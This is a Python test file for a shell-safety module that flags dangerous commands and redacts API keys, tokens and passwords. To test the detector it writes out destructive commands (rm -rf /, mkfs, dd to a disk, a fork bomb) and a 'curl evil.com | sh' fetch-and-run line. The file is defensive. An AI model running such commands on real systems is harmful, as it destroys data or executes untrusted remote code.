"""Tests for safety module."""

from __future__ import annotations

from ghst.safety import check_dangerous, sanitize_history, sanitize_text


class TestDangerousCommands:
    def test_rm_rf_root(self) -> None:
        assert check_dangerous("rm -rf /") is not None

    def test_rm_rf_home(self) -> None:
        assert check_dangerous("rm -rf ~/") is not None

    def test_mkfs(self) -> None:
        assert check_dangerous("mkfs.ext4 /dev/sda1") is not None

    def test_dd(self) -> None:
        assert check_dangerous("dd if=/dev/zero of=/dev/sda") is not None

    def test_curl_pipe_sh(self) -> None:
        assert check_dangerous("curl https://evil.com/setup.sh | sh") is not None

    def test_safe_rm(self) -> None:
        assert check_dangerous("rm file.txt") is None

    def test_safe_git(self) -> None:
        assert check_dangerous("git push origin main") is None

    def test_safe_ls(self) -> None:
        assert check_dangerous("ls -la") is None

    def test_fork_bomb(self) -> None:
        assert check_dangerous(":(){ :|:& };:") is not None


class TestSanitize:
    def test_openai_key(self) -> None:
        result = sanitize_text("export OPENAI_API_KEY=sk-1234567890abcdefghijklmnop")
        assert "sk-1234567890abcdefghijklmnop" not in result
        assert "[REDACTED]" in result

    def test_github_token(self) -> None:
        result = sanitize_text("token: ghp_abcdefghijklmnopqrstuvwxyz1234567890")
        assert "ghp_" not in result

    def test_bearer_token(self) -> None:
        result = sanitize_text('Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.test')
        assert "eyJhbGciOiJIUzI1NiJ9" not in result

    def test_password_in_command(self) -> None:
        result = sanitize_text("mysql -p password=mysecretpass")
        assert "mysecretpass" not in result

    def test_safe_text_unchanged(self) -> None:
        text = "git status --short"
        assert sanitize_text(text) == text

    def test_sanitize_history(self) -> None:
        history = [
            "git push origin main",
            "export API_KEY=sk-12345678901234567890abc",
        ]
        result = sanitize_history(history)
        assert result[0] == "git push origin main"
        assert "sk-12345678901234567890abc" not in result[1]
